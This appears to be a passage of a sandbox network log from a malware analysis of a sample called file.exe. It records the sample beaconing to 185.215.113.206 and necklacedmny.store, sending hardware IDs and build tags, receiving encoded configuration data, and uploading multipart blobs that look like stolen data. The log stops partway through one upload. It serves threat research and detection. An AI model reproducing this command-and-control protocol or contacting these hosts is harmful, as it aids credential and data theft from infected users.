Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	62934	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:38:05.880279064 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 12:38:07.464277029 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:38:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 12:38:07.464389086 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:38:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 12:38:07.464437008 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:38:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 12:38:07.476442099 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIJDGCAEBFIIECAKFHI Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 33 39 46 34 32 31 30 42 31 41 32 34 34 37 37 37 31 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 2d 2d 0d 0a Data Ascii: ------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="hwid"2639F4210B1A2447771074------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="build"tale------BGIJDGCAEBFIIECAKFHI--
Oct 30, 2024 12:38:07.761198044 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:38:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	188.114.97.3	443	3608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:36:02 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-30 11:36:02 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-30 11:36:03 UTC	1015	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:36:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p8f7or8did3m4rfehjo59ipbls; expires=Sun, 23 Feb 2025 05:22:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FY7Pjdrjb4U2BWo35sbpodcIQ%2FGCHGwFvpK0nH9djvfqqiHDBIaInT1BQc5kl8BMayea5%2FoyQZpYG8DcpMRK8OE617FKU6Yn8C%2FViMtqAT98P2SisGpQtDHSy335J6cKcsGLFb8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1aface2e2d3e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1597&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1771253&cwnd=251&unsent_bytes=0&cid=216bcb383769790f&ts=787&x=0"
2024-10-30 11:36:03 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-30 11:36:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	188.114.97.3	443	3608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:36:04 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-30 11:36:04 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-30 11:36:05 UTC	1015	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:36:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n2kc7i6qtl6p7alhc67jikvuiv; expires=Sun, 23 Feb 2025 05:22:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rma94yweHJfVXz4RdKc%2FbAsPCauJSsR7cODtWPVUlgh3BJfPH8nwQFI77XoimgkstUJm%2BZmX%2FgRtM5vDeL4RWnoNhyfGvZTjQs7gsODb8V3OGC5t0VDT0vVVi%2BnGBL27s0C996o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1b03a9b2e776-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1971&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=1636158&cwnd=249&unsent_bytes=0&cid=3d460ed0dde9f9d5&ts=724&x=0"
2024-10-30 11:36:05 UTC	354	IN	Data Raw: 34 34 36 63 0d 0a 55 68 2b 4c 64 6c 51 39 43 77 55 6c 7a 4c 72 68 51 36 53 70 67 64 61 67 4e 45 44 79 44 69 75 59 46 75 45 4a 59 30 62 58 46 62 77 70 50 66 31 55 62 67 6b 6e 4a 31 61 70 6d 4e 73 33 31 74 7a 6b 2b 6f 4a 56 4a 4e 41 30 54 66 6c 36 6b 6d 78 50 5a 4b 46 34 6e 6d 68 35 36 68 6f 6e 57 43 63 6e 51 4c 53 59 32 78 6a 66 69 2b 53 34 67 67 35 69 6c 32 52 4a 2b 58 71 44 61 41 67 70 70 33 6e 66 4f 6e 50 73 48 6a 46 65 62 32 52 4a 6f 64 2b 45 4a 73 58 44 37 37 2f 4e 58 43 33 51 49 67 6e 39 62 4d 4d 7a 51 51 75 79 59 64 30 66 66 76 67 64 64 6b 41 6e 66 67 65 70 31 4d 4e 35 68 73 6a 6b 74 4d 78 53 4a 4a 6c 6d 51 2f 42 79 67 6d 30 4a 4e 72 35 7a 31 44 70 39 37 78 38 37 56 33 74 70 51 36 62 55 67 69 7a 46 69 36 33 30 78 55 35 69 79 43 77 61 79 48 65 53 65 Data Ascii: 446cUh+LdlQ9CwUlzLrhQ6SpgdagNEDyDiuYFuEJY0bXFbwpPf1UbgknJ1apmNs31tzk+oJVJNA0Tfl6kmxPZKF4nmh56honWCcnQLSY2xjfi+S4gg5il2RJ+XqDaAgpp3nfOnPsHjFeb2RJod+EJsXD77/NXC3QIgn9bMMzQQuyYd0ffvgddkAnfgep1MN5hsjktMxSJJlmQ/Bygm0JNr5z1Dp97x87V3tpQ6bUgizFi630xU5iyCwayHeSe
2024-10-30 11:36:05 UTC	1369	IN	Data Raw: 55 6d 6c 31 54 36 58 54 68 6a 50 4e 77 75 36 35 77 6c 73 6f 6e 32 39 4a 2f 58 36 4a 5a 41 73 67 75 48 72 59 4d 48 32 70 57 6e 5a 59 63 53 63 66 37 76 75 47 4d 63 48 48 39 66 62 34 46 6a 33 65 64 51 6e 39 65 4d 4d 7a 51 53 79 77 64 4e 30 37 63 75 6f 63 50 55 31 70 64 55 47 6a 33 5a 45 6e 77 38 58 70 74 39 42 63 4c 4a 5a 76 51 50 46 39 68 6d 77 46 5a 50 73 33 32 53 67 39 73 56 51 58 55 6d 4a 72 54 62 6e 59 77 7a 36 49 30 71 4f 7a 7a 68 5a 36 30 47 68 49 2f 6e 57 48 5a 51 38 67 75 58 48 51 50 58 4c 76 48 6a 5a 59 59 32 39 50 72 39 57 49 4c 73 62 4f 37 72 44 45 57 69 4f 56 4c 41 65 36 63 35 73 72 57 57 53 62 63 4e 30 69 50 39 77 58 4f 46 46 75 63 51 65 78 6c 70 70 68 77 63 65 6a 37 49 4a 59 4a 35 39 2b 53 4f 68 78 6a 58 6b 4e 49 62 4e 36 33 54 35 39 37 42 4d Data Ascii: Uml1T6XThjPNwu65wlson29J/X6JZAsguHrYMH2pWnZYcScf7vuGMcHH9fb4Fj3edQn9eMMzQSywdN07cuocPU1pdUGj3ZEnw8Xpt9BcLJZvQPF9hmwFZPs32Sg9sVQXUmJrTbnYwz6I0qOzzhZ60GhI/nWHZQ8guXHQPXLvHjZYY29Pr9WILsbO7rDEWiOVLAe6c5srWWSbcN0iP9wXOFFucQexlpphwcej7IJYJ59+SOhxjXkNIbN63T597BM
2024-10-30 11:36:05 UTC	1369	IN	Data Raw: 51 65 78 6c 70 70 68 77 63 65 6a 37 49 4a 61 4b 35 42 6e 51 2f 35 30 68 47 59 45 4a 37 4a 30 30 7a 64 33 35 78 4d 79 55 32 42 71 51 61 37 66 68 79 54 55 7a 75 71 34 7a 68 5a 73 30 47 74 52 75 69 7a 44 52 41 59 79 74 6c 6a 64 49 58 53 70 43 33 68 47 4b 57 42 4c 37 6f 44 44 4a 73 50 44 36 4c 4c 4b 56 6a 43 56 59 6b 4c 37 66 6f 56 71 44 43 69 7a 64 39 38 77 65 2b 55 55 4d 56 68 37 64 55 4b 6f 79 6f 6c 68 69 49 76 6b 72 49 49 4f 59 71 5a 38 58 75 74 69 77 56 34 43 4b 72 74 77 79 48 42 69 70 77 31 32 57 47 55 6e 48 2b 37 54 67 79 33 42 77 2b 57 77 79 6c 6b 74 6d 58 35 49 39 6e 71 52 62 41 45 74 75 33 6a 53 4f 58 44 75 47 54 31 56 5a 47 4e 41 72 35 6a 4e 59 63 48 54 6f 2b 79 43 59 44 4b 64 59 47 66 78 65 49 6f 72 48 6d 71 73 4e 39 6b 38 50 62 46 55 4d 6c 4e 68 Data Ascii: Qexlpphwcej7IJaK5BnQ/50hGYEJ7J00zd35xMyU2BqQa7fhyTUzuq4zhZs0GtRuizDRAYytljdIXSpC3hGKWBL7oDDJsPD6LLKVjCVYkL7foVqDCizd98we+UUMVh7dUKoyolhiIvkrIIOYqZ8XutiwV4CKrtwyHBipw12WGUnH+7Tgy3Bw+WwylktmX5I9nqRbAEtu3jSOXDuGT1VZGNAr5jNYcHTo+yCYDKdYGfxeIorHmqsN9k8PbFUMlNh
2024-10-30 11:36:05 UTC	1369	IN	Data Raw: 32 47 4a 63 48 50 35 62 75 43 47 47 4b 58 64 41 6d 69 4e 4b 78 4d 4e 47 61 55 54 5a 34 76 4d 2f 42 55 4d 56 4d 70 50 77 65 69 32 34 38 70 79 63 33 71 75 4d 68 66 4b 5a 78 6e 54 66 5a 39 68 6d 30 41 49 62 42 32 32 6a 78 33 37 78 63 31 55 47 5a 6f 54 2b 36 57 77 79 62 65 69 37 76 30 35 30 45 70 6e 6d 6f 4a 35 54 71 61 4b 77 59 6f 39 53 2b 65 50 48 54 76 45 6a 4e 54 61 47 46 50 71 39 43 48 49 4d 44 4e 34 4c 76 47 55 79 4f 66 61 45 58 30 66 6f 4a 71 44 53 2b 36 66 4e 74 77 4d 36 6b 54 4c 68 38 78 4a 33 61 74 7a 70 51 78 79 6f 76 38 2b 74 73 57 4a 5a 77 73 45 62 70 31 6b 57 45 4c 4b 72 42 34 32 7a 4e 79 37 68 6b 77 55 32 4e 75 54 36 6a 58 69 6a 50 46 78 2b 32 7a 7a 46 6f 73 6e 57 5a 4b 39 7a 54 4e 4b 77 59 38 39 53 2b 65 48 48 72 6b 4f 6a 31 54 62 69 64 59 34 Data Ascii: 2GJcHP5buCGGKXdAmiNKxMNGaUTZ4vM/BUMVMpPwei248pyc3quMhfKZxnTfZ9hm0AIbB22jx37xc1UGZoT+6Wwybei7v050EpnmoJ5TqaKwYo9S+ePHTvEjNTaGFPq9CHIMDN4LvGUyOfaEX0foJqDS+6fNtwM6kTLh8xJ3atzpQxyov8+tsWJZwsEbp1kWELKrB42zNy7hkwU2NuT6jXijPFx+2zzFosnWZK9zTNKwY89S+eHHrkOj1TbidY4
2024-10-30 11:36:05 UTC	1369	IN	Data Raw: 47 7a 50 76 30 6d 68 59 55 6c 33 78 5a 2b 54 61 79 66 51 49 79 76 6e 72 53 63 47 4b 6e 44 58 5a 59 5a 53 63 66 37 74 36 4d 4b 4d 58 45 34 72 33 4f 57 79 65 5a 61 55 6a 38 63 49 6c 68 41 53 4b 7a 64 74 73 36 66 75 67 65 50 31 68 68 59 45 53 38 6d 4d 31 68 77 64 4f 6a 37 49 4a 2f 4a 59 4a 69 57 62 70 72 7a 58 4a 42 49 37 6b 33 68 6e 42 35 34 78 73 79 57 47 56 68 51 71 6a 56 67 69 37 48 79 2b 79 77 79 56 38 6b 6b 57 46 4d 39 33 43 52 59 51 6f 72 75 58 37 53 50 54 32 6e 56 44 46 48 4b 54 38 48 6e 39 57 4e 4c 38 48 64 6f 36 75 4d 54 32 4b 58 59 41 6d 69 4e 49 4a 6e 44 69 65 36 64 4e 30 78 64 2f 73 47 4f 6c 5a 68 59 6b 75 6c 31 6f 55 7a 77 4d 54 71 74 38 46 66 4a 5a 68 67 51 2f 6c 7a 77 79 56 42 49 36 30 33 68 6e 42 65 2f 67 51 37 48 33 59 70 58 75 37 66 6a 32 Data Ascii: GzPv0mhYUl3xZ+TayfQIyvnrScGKnDXZYZScf7t6MKMXE4r3OWyeZaUj8cIlhASKzdts6fugeP1hhYES8mM1hwdOj7IJ/JYJiWbprzXJBI7k3hnB54xsyWGVhQqjVgi7Hy+ywyV8kkWFM93CRYQoruX7SPT2nVDFHKT8Hn9WNL8Hdo6uMT2KXYAmiNIJnDie6dN0xd/sGOlZhYkul1oUzwMTqt8FfJZhgQ/lzwyVBI603hnBe/gQ7H3YpXu7fj2
2024-10-30 11:36:05 UTC	1369	IN	Data Raw: 70 73 64 51 4c 5a 39 6c 51 50 35 38 67 47 73 46 49 4c 4a 79 33 54 78 32 37 68 63 35 57 32 42 70 54 71 47 59 7a 57 48 42 30 36 50 73 67 6e 63 35 6b 32 42 45 75 6d 76 4e 63 6b 45 6a 75 54 65 47 63 48 48 6e 45 54 5a 56 62 32 4e 43 71 4e 4b 47 49 63 33 49 37 4c 44 45 55 69 32 51 5a 30 44 37 63 6f 5a 68 43 69 4b 34 64 4e 67 32 50 61 64 55 4d 55 63 70 50 77 65 4f 77 34 34 74 77 59 76 38 2b 74 73 57 4a 5a 77 73 45 62 70 2f 6a 32 38 47 4a 4c 68 30 31 6a 56 35 34 78 45 32 56 33 74 76 52 36 6e 4b 6b 53 48 50 7a 75 2b 33 77 6c 49 6b 6d 57 70 4b 2f 6a 54 4e 4b 77 59 38 39 53 2b 65 48 58 48 75 50 54 46 45 4b 58 67 4a 74 35 69 45 4c 59 61 54 6f 37 58 4a 58 43 32 64 62 30 2f 35 66 34 5a 68 41 43 4f 39 65 73 77 7a 63 75 59 51 4e 6c 42 76 59 55 61 68 33 6f 51 6f 78 38 50 Data Ascii: psdQLZ9lQP58gGsFILJy3Tx27hc5W2BpTqGYzWHB06Psgnc5k2BEumvNckEjuTeGcHHnETZVb2NCqNKGIc3I7LDEUi2QZ0D7coZhCiK4dNg2PadUMUcpPweOw44twYv8+tsWJZwsEbp/j28GJLh01jV54xE2V3tvR6nKkSHPzu+3wlIkmWpK/jTNKwY89S+eHXHuPTFEKXgJt5iELYaTo7XJXC2db0/5f4ZhACO9eswzcuYQNlBvYUah3oQox8P
2024-10-30 11:36:05 UTC	1369	IN	Data Raw: 42 79 33 65 6b 50 39 5a 49 52 38 44 6d 54 37 4e 39 46 77 4a 64 42 55 50 31 68 79 64 6c 47 6a 79 49 52 68 2b 59 57 6a 72 49 49 4f 59 71 56 76 52 2f 52 7a 6c 58 70 4d 41 36 4e 39 32 53 42 36 2f 68 74 32 45 53 6c 68 42 2f 61 4c 7a 57 48 43 32 71 50 73 6b 67 52 35 78 54 38 65 71 69 61 63 4a 52 68 6b 6f 7a 65 47 59 6a 4f 70 42 6e 59 48 4b 53 42 45 76 4d 71 46 49 74 44 49 70 49 72 38 63 54 69 64 61 6c 37 72 53 72 31 73 47 79 6d 7a 59 4d 39 38 61 4f 6f 61 4f 46 68 2f 4a 77 6e 75 31 38 4e 35 2f 34 75 72 39 50 30 59 59 6f 67 73 45 62 70 42 67 47 55 50 49 36 4e 6d 6b 78 64 6e 35 42 49 68 54 69 6b 70 42 36 69 59 32 33 47 49 69 2b 65 6c 67 67 35 79 77 6a 63 63 71 53 50 54 4f 52 35 71 72 44 66 49 63 43 57 37 57 6e 5a 4e 4b 54 38 48 36 64 75 52 4d 38 44 49 39 62 65 46 Data Ascii: By3ekP9ZIR8DmT7N9FwJdBUP1hydlGjyIRh+YWjrIIOYqVvR/RzlXpMA6N92SB6/ht2ESlhB/aLzWHC2qPskgR5xT8eqiacJRhkozeGYjOpBnYHKSBEvMqFItDIpIr8cTidal7rSr1sGymzYM98aOoaOFh/Jwnu18N5/4ur9P0YYogsEbpBgGUPI6Nmkxdn5BIhTikpB6iY23GIi+elgg5ywjccqSPTOR5qrDfIcCW7WnZNKT8H6duRM8DI9beF
2024-10-30 11:36:05 UTC	1369	IN	Data Raw: 51 4a 7a 33 65 4e 5a 51 59 79 70 44 72 35 50 6e 72 6f 41 69 5a 49 5a 69 63 4a 37 74 37 44 65 5a 53 46 6f 37 44 54 46 6e 72 41 50 68 4b 76 4a 39 51 37 55 7a 76 37 62 70 34 6d 50 62 46 47 65 42 39 37 4a 78 2f 75 6e 34 41 7a 31 4d 33 67 6f 73 45 52 48 4b 35 4c 52 2f 31 31 6c 58 73 57 4b 2f 70 5a 36 42 46 44 31 77 45 31 55 57 64 67 55 62 2b 59 7a 57 48 4a 69 37 75 4e 67 68 35 69 72 79 49 4a 34 6a 54 62 4b 7a 51 6e 75 33 6e 5a 4a 6d 79 6b 4d 7a 68 59 61 48 46 58 75 64 66 4d 44 2f 44 71 6f 2f 71 43 55 47 4c 49 50 67 65 36 63 4a 49 72 57 58 54 6e 4c 49 74 6a 4b 72 6c 47 4b 52 46 77 4a 31 48 75 67 4e 46 76 68 74 6d 6a 37 49 49 52 49 59 4a 2b 54 2f 6c 69 67 43 77 2f 47 70 4a 35 32 54 46 72 2b 52 6b 36 66 6d 70 32 54 5a 44 6d 6c 69 4c 49 78 65 53 69 30 78 5a 73 30 Data Ascii: QJz3eNZQYypDr5PnroAiZIZicJ7t7DeZSFo7DTFnrAPhKvJ9Q7Uzv7bp4mPbFGeB97Jx/un4Az1M3gosERHK5LR/11lXsWK/pZ6BFD1wE1UWdgUb+YzWHJi7uNgh5iryIJ4jTbKzQnu3nZJmykMzhYaHFXudfMD/Dqo/qCUGLIPge6cJIrWXTnLItjKrlGKRFwJ1HugNFvhtmj7IIRIYJ+T/ligCw/GpJ52TFr+Rk6fmp2TZDmliLIxeSi0xZs0
2024-10-30 11:36:05 UTC	1369	IN	Data Raw: 77 6c 58 34 43 4e 4c 4a 4a 34 42 31 76 37 67 51 31 48 55 56 67 53 71 4c 6d 76 52 62 58 7a 50 50 32 35 46 55 30 6b 79 77 48 75 6d 7a 44 4d 30 45 4a 70 33 44 4f 4d 7a 2f 46 45 7a 74 54 4b 58 67 4a 74 35 69 56 59 5a 36 59 72 66 54 51 46 6e 72 51 4b 30 72 6f 5a 6f 56 6f 46 79 66 79 53 65 41 64 62 2b 34 45 4e 52 31 59 61 6b 4f 34 7a 59 41 78 77 66 58 64 6d 64 42 52 4d 70 4d 75 62 4d 41 32 73 6e 30 43 4a 4c 74 77 6e 6e 34 39 38 56 52 75 48 30 52 31 51 4c 37 62 77 51 54 38 69 64 4b 69 77 56 59 73 6c 79 78 57 74 47 33 44 66 55 46 38 35 6a 6d 65 49 6a 32 78 56 48 46 52 5a 47 5a 45 6f 4e 75 52 4d 38 44 49 39 62 65 46 61 42 79 2f 5a 30 6a 71 65 5a 4a 6d 42 54 4b 4c 53 66 6b 32 65 4f 34 71 43 47 68 34 59 46 66 73 2f 6f 41 33 78 59 75 74 39 4e 6f 57 65 74 42 4c 54 2f Data Ascii: wlX4CNLJJ4B1v7gQ1HUVgSqLmvRbXzPP25FU0kywHumzDM0EJp3DOMz/FEztTKXgJt5iVYZ6YrfTQFnrQK0roZoVoFyfySeAdb+4ENR1YakO4zYAxwfXdmdBRMpMubMA2sn0CJLtwnn498VRuH0R1QL7bwQT8idKiwVYslyxWtG3DfUF85jmeIj2xVHFRZGZEoNuRM8DI9beFaBy/Z0jqeZJmBTKLSfk2eO4qCGh4YFfs/oA3xYut9NoWetBLT/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	188.114.97.3	443	3608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:36:05 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-10-30 11:36:05 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 31 46 35 31 38 31 44 34 44 32 44 44 45 36 34 45 35 37 36 39 31 31 43 31 34 35 42 33 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DC1F5181D4D2DDE64E576911C145B3A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 11:36:05 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-30 11:36:06 UTC	1025	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:36:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9gpcu9pelnhfnehv7i9a6rs2jk; expires=Sun, 23 Feb 2025 05:22:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ciV%2BUmA8WFKCvEeu%2BZqUbrf0u8IlFBD9mYv%2BADXlO1ZqUQhj0UWs3Uw7izJTBz0BsUsAroHrfCocBD7N5js0Zdp%2BgMPbrVWxpm%2FRNdJDGwwrwJo%2FIeo%2BMEqeHEF3AbihXEA5auY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1b0db929e53e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1101&sent=12&recv=25&lost=0&retrans=0&sent_bytes=2846&recv_bytes=19132&delivery_rate=2611361&cwnd=251&unsent_bytes=0&cid=6c23417fe1e5f264&ts=702&x=0"
2024-10-30 11:36:06 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 11:36:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	188.114.97.3	443	3608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:36:07 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-10-30 11:36:07 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 31 46 35 31 38 31 44 34 44 32 44 44 45 36 34 45 35 37 36 39 31 31 43 31 34 35 42 33 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; 